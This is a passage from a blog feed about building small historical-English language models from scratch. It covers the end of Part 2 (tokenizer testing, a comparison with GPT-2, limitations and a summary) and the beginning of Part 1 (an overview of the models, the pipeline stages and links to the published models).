&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        special_tokens &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [token &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; token &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; encoded&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;tokens &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; token&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;startswith(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;lt;|&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;and&lt;/span&gt; token&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;endswith(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;|&amp;gt;&amp;#39;&lt;/span&gt;)]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; special_tokens:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            results[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;special_token_usage&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; results&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Test Results:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Perfect Reconstruction&lt;/strong&gt;: 99%+ accuracy on test cases&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Special Token Usage&lt;/strong&gt;: 80%+ of test cases use special tokens&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Average Compression Ratio&lt;/strong&gt;: ~0.3 tokens per word (highly efficient)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Success Rate&lt;/strong&gt;: 99%+ for historical text samples&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It is essential to conduct comprehensive testing to ensure the tokenizer operates reliably. In our case, the test cases cover different historical periods, writing styles, and linguistic patterns, giving us confidence that the tokenizer can handle the full range of historical text in our corpus. For a real-world LLM, this is, of course, more complex and would need to cover a broader set of areas.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tokenizer Performance Validation&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Not surprisingly, our custom tokenizer significantly outperforms standard approaches on historical text, as demonstrated by comprehensive metrics that compare it to GPT-2&amp;rsquo;s tokenizer, as shown in the table below. These metrics indicate that our custom tokenizer significantly outperforms standard approaches for historical text. The improved compression ratio and reconstruction accuracy ensure that the model learns from authentic historical language rather than tokenization artifacts, which is crucial for generating coherent and historically accurate text.&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Metric&lt;/th&gt;
          &lt;th&gt;Standard GPT-2&lt;/th&gt;
          &lt;th&gt;Our Custom Tokenizer&lt;/th&gt;
          &lt;th&gt;Improvement&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Vocabulary Size&lt;/strong&gt;&lt;/td&gt;
          &lt;td&gt;50,257 tokens&lt;/td&gt;
          &lt;td&gt;30,000 tokens&lt;/td&gt;
          &lt;td&gt;40% smaller&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Special Tokens&lt;/strong&gt;&lt;/td&gt;
          &lt;td&gt;4 tokens&lt;/td&gt;
          &lt;td&gt;150+ tokens&lt;/td&gt;
          &lt;td&gt;37x more&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Compression Ratio&lt;/strong&gt;&lt;/td&gt;
          &lt;td&gt;~0.4 tokens/word&lt;/td&gt;
          &lt;td&gt;~0.3 tokens/word&lt;/td&gt;
          &lt;td&gt;25% better&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Reconstruction Accuracy&lt;/strong&gt;&lt;/td&gt;
          &lt;td&gt;95%&lt;/td&gt;
          &lt;td&gt;99%+&lt;/td&gt;
          &lt;td&gt;4% better&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Historical Language Support&lt;/strong&gt;&lt;/td&gt;
          &lt;td&gt;Poor&lt;/td&gt;
          &lt;td&gt;Good&lt;/td&gt;
          &lt;td&gt;N/A&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;These metrics validate that our 30K token vocabulary provides optimal coverage for historical text while remaining manageable for small language models. The 150+ special tokens capture linguistic patterns of 1500-1850 English, and the 25% better compression ratio means historical text is represented more efficiently, allowing the model to process longer sequences. The 99%+ reconstruction accuracy ensures no information is lost during tokenization, while excellent performance on archaic vocabulary, period-specific terminology, and London geography demonstrates the tokenizer&amp;rsquo;s effectiveness for historical language modeling.&lt;/p&gt;
&lt;h3 id=&#34;38-implementation-and-usage&#34;&gt;3.8 Implementation and Usage&lt;/h3&gt;
&lt;p&gt;The complete tokenizer implementation, including training scripts, testing utilities, and validation tools, is available in the &lt;a
	
		href = &#34;https://github.com/bahree/helloLondon&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		helloLondon GitHub repository
	&lt;/span&gt;
&lt;/a&gt;. The repository provides:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Training Code&lt;/strong&gt;: Complete BPE tokenizer training with configurable vocabulary sizes and special token definitions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Testing Utilities&lt;/strong&gt;: Comprehensive validation tools for testing tokenizer performance on historical text&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Integration Examples&lt;/strong&gt;: Ready-to-use code for incorporating the tokenizer into your own projects&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Documentation&lt;/strong&gt;: Detailed usage guides and API references&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This implementation demonstrates how to build production-ready tokenizers for specialized domains, with particular focus on historical language processing and integration with modern ML frameworks.&lt;/p&gt;
&lt;h2 id=&#34;4-current-limitations&#34;&gt;4. Current Limitations&lt;/h2&gt;
&lt;p&gt;This project is designed as a learning exercise for those new to AI and LLM development. While we&amp;rsquo;ve built a functional system that demonstrates core concepts, this is not production-ready code and has several limitations that would need to be addressed for real-world deployment:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Data Scale &amp;amp; Quality:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Corpus size: Our 500M character corpus is tiny compared to production LLMs, which typically use 100x-1000x more data (50B-500B+ characters). This limits the model&amp;rsquo;s ability to learn diverse patterns and reduces the quality of generated output.&lt;/li&gt;
&lt;li&gt;Source diversity: With only 218 sources, we lack comprehensive historical coverage across the 1500-1850 span, potentially missing important linguistic evolution patterns and regional variations.&lt;/li&gt;
&lt;li&gt;Geographic bias: Heavy focus on London may not accurately represent broader historical English patterns from other regions, limiting the model&amp;rsquo;s generalizability.&lt;/li&gt;
&lt;li&gt;Bias detection: We lack systematic approaches to identify or mitigate historical biases in the data, which could lead to the model perpetuating outdated or problematic language patterns.&lt;/li&gt;
&lt;li&gt;Quality assessment: Our cleaning pipeline, while effective for common issues, overlooks many edge cases and artifacts that would require more sophisticated ML-based quality assessment in production.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Tokenizer &amp;amp; Model Architecture:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Vocabulary size: Our 30K token vocabulary is small compared to modern models (which often use 50K-100K+ tokens), limiting the model&amp;rsquo;s ability to represent diverse vocabulary efficiently.&lt;/li&gt;
&lt;li&gt;Special tokens: The 150+ special tokens are manually curated rather than learned from data, which may miss important patterns that data-driven approaches would discover.&lt;/li&gt;
&lt;li&gt;Context length: The 1024 token context window is very short compared to modern models (which often use 4K-32K+ tokens), limiting the model&amp;rsquo;s ability to maintain coherence in longer texts.&lt;/li&gt;
&lt;li&gt;Language support: No support for other languages or historical variants beyond English, significantly limiting the model&amp;rsquo;s applicability.&lt;/li&gt;
&lt;li&gt;Tokenization approach: While our BPE approach is clean and avoids WordPiece artifacts, it may not be optimal for all historical text patterns and could benefit from more sophisticated techniques.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Technical Infrastructure:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Error handling: Basic error handling with limited logging and monitoring makes it difficult to debug issues and track system health in production.&lt;/li&gt;
&lt;li&gt;Testing: Minimal test coverage that excludes edge cases means many potential failure modes remain undetected until they occur in production.&lt;/li&gt;
&lt;li&gt;Performance: No optimization for speed, memory, or distributed processing, making the system unsuitable for production-scale deployment.&lt;/li&gt;
&lt;li&gt;Data management: Lacks data versioning and reproducibility guarantees, making it difficult to track changes and reproduce results across different environments.&lt;/li&gt;
&lt;li&gt;Security: No security considerations for data handling and model deployment, creating potential vulnerabilities for sensitive historical data.&lt;/li&gt;
&lt;li&gt;Compliance: Missing compliance considerations for GDPR, data privacy, and regulatory requirements, which are essential for production deployment.&lt;/li&gt;
&lt;li&gt;Monitoring: No production monitoring, alerting, or observability features, making it impossible to detect and respond to issues in real-time.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These limitations are intentional trade-offs made to keep the project manageable and focused on core learning objectives, but they represent significant gaps for production deployment.&lt;/p&gt;
&lt;h3 id=&#34;43-what-youd-need-for-production&#34;&gt;4.3 What You&amp;rsquo;d Need for Production&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Data Engineering and Legal Framework&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Production systems require 100x-1000x more data from diverse sources, with ML-based quality assessment, bias detection, and filtering that goes far beyond our simple heuristics. You&amp;rsquo;d need robust ETL pipelines with proper error handling and monitoring, as well as a comprehensive legal framework for copyright clearance, data licensing, and compliance management, which we haven&amp;rsquo;t addressed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Model Architecture and Training&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Meaningful historical language understanding would require models with over 1 billion parameters, utilizing sophisticated training techniques, regularization, and optimization. You&amp;rsquo;d need a comprehensive evaluation on diverse historical text tasks and domain-specific fine-tuning capabilities that our current system doesn&amp;rsquo;t support.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Infrastructure and Operations&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Production deployment requires a multi-GPU, multi-node distributed training infrastructure, production-grade model serving with load balancing and scaling, comprehensive monitoring and alerting systems, and end-to-end security for both data and model protection—none of which our learning-focused system currently provides.&lt;/p&gt;
&lt;p&gt;This progression from data → tokenizer → training → deployment provides a complete methodology for building specialized historical language models.&lt;/p&gt;
&lt;h2 id=&#34;5-resources-and-further-reading&#34;&gt;5. Resources and Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GitHub Repository&lt;/strong&gt;: &lt;a
	
		href = &#34;https://github.com/bahree/helloLondon&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		github.com/bahree/helloLondon
	&lt;/span&gt;
&lt;/a&gt; - Complete source code for data collection and tokenizer training&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Part 1&lt;/strong&gt;: &lt;a
	
		href = &#34;https://blog.desigeek.com/post/2025/09/building-llm-from-scratch-part1/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Building LLMs from Scratch - Part 1
	&lt;/span&gt;
&lt;/a&gt; - Quick start and overview&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Documentation&lt;/strong&gt;: Complete guides in the &lt;code&gt;08_documentation/&lt;/code&gt; folder covering every aspect of the project&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Book Reference&lt;/strong&gt;: &lt;a
	
		href = &#34;https://a.co/d/ffzkJ7T&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Generative AI in Action
	&lt;/span&gt;
&lt;/a&gt; - For deeper understanding of core LLM concepts&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;6-summary&#34;&gt;6. Summary&lt;/h2&gt;
&lt;p&gt;This post represents Part 2 of our learning journey into the fundamentals of LLM development. While we&amp;rsquo;ve built a functional data collection and tokenization system demonstrating core concepts, the real value lies in understanding:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Data flow&lt;/strong&gt; from raw sources to training-ready corpora&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tokenization impact&lt;/strong&gt; on model performance across different approaches&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Challenges&lt;/strong&gt; in processing historical and domain-specific text&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trade-offs&lt;/strong&gt; between quality, scale, and complexity&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Debugging and improvement&lt;/strong&gt; strategies for encountered problems&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The limitations we&amp;rsquo;ve identified are great learning opportunities. Every production LLM started as a learning project, and every limitation teaches you something new about how these systems work. This foundation prepares us for the next phase of our journey.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Ready for Part 3?&lt;/strong&gt; Part 3 will cover the custom GPT architecture, GPU optimization strategies, and training infrastructure that transforms our clean data and custom tokenizer into working language models—while maintaining the same educational focus on understanding the fundamentals.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;🧱 Series Posts&lt;/strong&gt;: &lt;a
	
		href = &#34;/post/2025/09/building-llm-from-scratch-part1/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 1 – Using the Published Historical Models
	&lt;/span&gt;
&lt;/a&gt; | Part 2 (this post) | &lt;a
	
		href = &#34;/post/2025/11/building-llm-from-scratch-part3-model-architecture-gpu-training/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 3 – Training Architecture &amp;amp; GPU Optimization
	&lt;/span&gt;
&lt;/a&gt; | &lt;a
	
		href = &#34;/post/2026/01/building-llm-from-scratch-part4-evaluation-deployment/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 4 – Evaluation &amp;amp; Deployment
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>🏛️How to build a Large Language Model from Scratch - Part 1</title>
      <link>/post/2025/09/building-llm-from-scratch-part1/</link>
      <pubDate>Tue, 23 Sep 2025 00:00:00 +0000</pubDate>
      
      <guid>/post/2025/09/building-llm-from-scratch-part1/</guid>
      <description>&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In this post, I show how to build a working LLM from scratch and show a complete end-to-end pipeline from data gathering to training to deployment of a language model. For this project I concentrate on Old English and only related to London, using historical London texts (1500-1850). To show the flexibility, I built &lt;strong&gt;two language models&lt;/strong&gt; which are identical in architecture and the only differs is their size and parameters (117M vs 354M).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;⚠️ Educational Purpose&lt;/strong&gt;: This is a learning project designed to teach LLM development concepts. For production-scale LLMs, you&amp;rsquo;ll need much larger datasets, more sophisticated infrastructure, and additional considerations not covered here.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;This guide shows you how to monitor training progression, perform rapid evaluations, test models from both PyTorch checkpoints and published Hugging Face repositories, and ultimately publish your own - supported by complete code, live model artifacts, and educational inference tooling.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4-Part Series&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Part 1 (this): Quick start, inference, and overview&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a
	
		href = &#34;/post/2025/10/building-llm-from-scratch-part2-data-tokenizers/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 2: Data collection and custom tokenizers
	&lt;/span&gt;
&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a
	
		href = &#34;/post/2025/11/building-llm-from-scratch-part3-model-architecture-gpu-training/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 3: Model architecture and GPU training
	&lt;/span&gt;
&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a
	
		href = &#34;/post/2026/01/building-llm-from-scratch-part4-evaluation-deployment/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 4: Evaluation and deployment
	&lt;/span&gt;
&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;1-overview&#34;&gt;1. Overview&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Train AI models on 1500-1850 London texts. Complete 4-part series covering data collection, training, and deployment. Part 1: Quick start and overview.&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;📖 Want to understand the core LLM concepts?&lt;/strong&gt; This series focuses on implementation and hands-on building. For a deeper understanding of foundational concepts like tokenizers, prompt engineering, RAG, responsible AI, fine-tuning, and more, check out my book &lt;a
	
		href = &#34;https://a.co/d/ffzkJ7T&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;strong&gt;Generative AI in Action&lt;/strong&gt;
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;You can learn more about the book → &lt;a
	
		href = &#34;https://blog.desigeek.com/post/2024/10/book-release-genai-in-action/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		by clicking here
	&lt;/span&gt;
&lt;/a&gt;📘.&lt;/p&gt;&lt;/blockquote&gt;
&lt;h3 id=&#34;11-what-was-built&#34;&gt;1.1 What was built?&lt;/h3&gt;
&lt;p&gt;I found many folks don&amp;rsquo;t understand what it entails to build an LLM, and where we do have guides, they only share piecemeal elements and nothing that is comprehensive for someone who is new to this. There are more detailed guides on fine-tuning existing models, but not much on the complete development pipeline. This series outlines that by walking through the process of creating specialized language models trained exclusively on historical London texts from 1500 to 1850.&lt;/p&gt;
&lt;p&gt;I am mostly doing this for my own learning, and also sharing what I can. Many work-related details, for obvious reasons, I cannot share and discuss, but some small pet projects like this embody the same sentiment.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;helloLondon Historical Language Models&lt;/strong&gt; represent a complete end-to-end implementation, from data collection through deployment. Rather than fine-tuning existing models, I chose to train from the ground up to eliminate modern biases and create models that genuinely understand historical language patterns, cultural contexts, and period-specific knowledge.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Two Model Variants&lt;/strong&gt;
I built two identical models with the same architecture, tokenizer, and training process. The only difference is the number of parameters: an SLM (117M parameters) optimized for learning and resource-constrained environments, and a Regular model (354M parameters) designed for higher-quality generation.&lt;/p&gt;
&lt;p&gt;Both use identical code with different configuration files, allowing you to understand the impact of model size on performance and choose the right variant for your needs.&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Model&lt;/th&gt;
          &lt;th&gt;Parameters&lt;/th&gt;
          &lt;th&gt;Iterations&lt;/th&gt;
          &lt;th&gt;Training Time*&lt;/th&gt;
          &lt;th&gt;Use Case&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;SLM&lt;/strong&gt; (Small)&lt;/td&gt;
          &lt;td&gt;117M&lt;/td&gt;
          &lt;td&gt;60,000&lt;/td&gt;
          &lt;td&gt;~8-12 hours&lt;/td&gt;
          &lt;td&gt;Fast inference, resource-constrained&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Regular&lt;/strong&gt; (Full)&lt;/td&gt;
          &lt;td&gt;354M&lt;/td&gt;
          &lt;td&gt;60,000&lt;/td&gt;
          &lt;td&gt;~28-32 hours&lt;/td&gt;
          &lt;td&gt;High-quality generation&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Technically speaking, both these models can be called classified as SLMs given they are 117M and 354M parameters; however, for the sake of this project, I call the smaller of the two the SLM and the other regular.&lt;/p&gt;&lt;/blockquote&gt;
&lt;h3 id=&#34;12-core-pipelines&#34;&gt;1.2 Core Pipelines&lt;/h3&gt;
&lt;p&gt;The complete development pipeline encompasses multiple critical stages that transform raw historical texts into working language models. The process starts with &lt;strong&gt;data collection&lt;/strong&gt;, where we systematically gather and filter over 218 historical London sources spanning 1500–1850. This process ensures we capture authentic period language while minimizing modern biases that could contaminate our models.&lt;/p&gt;
&lt;p&gt;Next, we develop a &lt;strong&gt;custom tokenization system&lt;/strong&gt; specifically designed for historical English. This involves training a domain-specific tokenizer with a 30,000-token vocabulary plus 150+ special tokens that capture period language patterns, archaic spellings, and historical terminology that modern tokenizers often miss.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;model architecture&lt;/strong&gt; phase implements GPT-style causal language models entirely from scratch, creating two variants with 117M and 354M parameters, respectively. Both models share identical architecture and training processes, allowing for direct comparison of performance versus computational requirements.&lt;/p&gt;
&lt;p&gt;Our &lt;strong&gt;training infrastructure&lt;/strong&gt; leverages modern multi-GPU training with Distributed Data Parallel (DDP), comprehensive checkpointing for restart resilience, and real-time monitoring through Weights &amp;amp; Biases. This ensures reliable training even across extended periods and hardware failures.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Evaluation&lt;/strong&gt; goes beyond standard metrics to include historical accuracy probes, perplexity tracking, qualitative generation review, and early failure detection. We specifically test how well our models understand historical context, period-appropriate language, and London geography.&lt;/p&gt;
&lt;p&gt;Finally, &lt;strong&gt;deployment&lt;/strong&gt; includes publishing models to Hugging Face alongside unified local and cloud inference scripts, making the models immediately accessible to researchers and developers worldwide.&lt;/p&gt;
&lt;h3 id=&#34;13-hands-on-experience&#34;&gt;1.3 Hands-On Experience&lt;/h3&gt;
&lt;p&gt;Every aspect of this project is designed for practical implementation and learning. The &lt;strong&gt;working code&lt;/strong&gt; covers every stage from data collection through tokenizer training, model training, evaluation, and publishing - all fully implemented and documented with clear instructions and examples.&lt;/p&gt;
&lt;p&gt;I already have both the models published on Hugging Face; which allows for &lt;strong&gt;Live models&lt;/strong&gt; are immediately available for use, allowing you to test published checkpoints instantly or retrain from scratch with a single command. This dual approach lets you either jump straight into experimentation or understand the complete development process.&lt;/p&gt;
&lt;p&gt;The project works with &lt;strong&gt;real data&lt;/strong&gt; - over 500 million characters of authentic historical English from 1500–1850, carefully filtered to minimize modern bias while preserving the rich linguistic patterns of the period. This is using genuine historical texts that provide authentic training material.&lt;/p&gt;
&lt;p&gt;Everything is &lt;strong&gt;well-structured&lt;/strong&gt; with clear documentation, error handling, reproducible configurations, and automated publishing workflows. The codebase follows good development practices, making it suitable for learning LLM development concepts.&lt;/p&gt;
&lt;p&gt;This series is structured to take you through the complete LLM development pipeline:&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Part&lt;/th&gt;
          &lt;th&gt;Focus&lt;/th&gt;
          &lt;th&gt;Description&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Part 1&lt;/strong&gt; (this post)&lt;/td&gt;
          &lt;td&gt;Quick start and end-to-end overview&lt;/td&gt;
          &lt;td&gt;Use published models, understand the complete pipeline, and get hands-on experience with working code and live models. The intent is that if you want to build this, you can follow the instructions and get a model in the end. If you want to understand more of the inner workings and details, then those will be covered in the subsequent blog posts.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Part 2&lt;/strong&gt;&lt;/td&gt;
          &lt;td&gt;Data collection and custom tokenization&lt;/td&gt;
          &lt;td&gt;Deep dive into gathering 218+ historical sources, cleaning pipelines, and building specialized tokenizers for historical language patterns.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Part 3&lt;/strong&gt;&lt;/td&gt;
          &lt;td&gt;Model architecture and training infrastructure&lt;/td&gt;
          &lt;td&gt;Technical implementation of custom GPT architectures, multi-GPU training, checkpointing, and performance optimization.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;&lt;a
	
		href = &#34;/post/2026/01/building-llm-from-scratch-part4-evaluation-deployment/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 4
	&lt;/span&gt;
&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;
          &lt;td&gt;Evaluation and deployment&lt;/td&gt;
          &lt;td&gt;Comprehensive testing frameworks, historical accuracy assessment, and deployment to Hugging Face.&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;For this first part, you have two paths to choose from based on your goals and available time:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Option 1: Quick Start with Published Models&lt;/strong&gt; - Jump straight into using the pre-trained models on Hugging Face for immediate testing and exploration. Perfect if you want to see results quickly and aren&amp;rsquo;t concerned with the technical implementation details.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Option 2: Build from Scratch&lt;/strong&gt; - Dive deep into the complete codebase and build your own historical language model from the ground up. Ideal if you want to understand every aspect of the pipeline and learn how to create specialized LLMs.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let us start with option 1 - use the models.&lt;/p&gt;
&lt;h2 id=&#34;2-use-the-models---try-it-now-using-hugging-face&#34;&gt;2. Use the models - Try it now using Hugging Face&lt;/h2&gt;
&lt;p&gt;If you just want to get going and use the models and kick tires, the models are live on Hugging Face and ready to use.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SLM Model (117M parameters)&lt;/strong&gt;: &lt;a
	
		href = &#34;https://huggingface.co/bahree/london-historical-slm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		💡 https://huggingface.co/bahree/london-historical-slm
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Regular Model (354M parameters)&lt;/strong&gt;: &lt;a
	
		href = &#34;https://huggingface.co/bahree/london-historical-llm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		💡 https://huggingface.co/bahree/london-historical-llm
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In addition, you can also explore the complete codebase and build your own historical language model from scratch. The entire pipeline is documented with working code, training scripts, and deployment guides, and is available on GitHub:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Github Repo 💻 &amp;ndash;&amp;gt; &lt;a
	
		href = &#34;https://github.com/bahree/helloLondon&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		⚙️ github.com/bahree/helloLondon
	&lt;/span&gt;
&lt;/a&gt;&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you want to quickly test the published models on Hugging Face (HF), you can do so in two ways: quick automated tests or interactive mode. This is the easiest way to get started and show that the models are fully working. You can either clone the repo and run the scripts or use the Python code snippet below.&lt;/p&gt;
&lt;p&gt;If you don&amp;rsquo;t have a development environment set up, you can follow the instructions in the GitHub repo to set up a conda environment with all dependencies. And just for the local testing, you can use CPU only, but for interactive mode, a GPU is recommended. Finally, you will need at a minimum the following Python packages shown in &lt;a href=&#34;#listing1&#34; class=&#34;listing-ref&#34;&gt;Listing 1&lt;/a&gt;. Note, these are also called out on the Hugging Face model page.&lt;/p&gt;
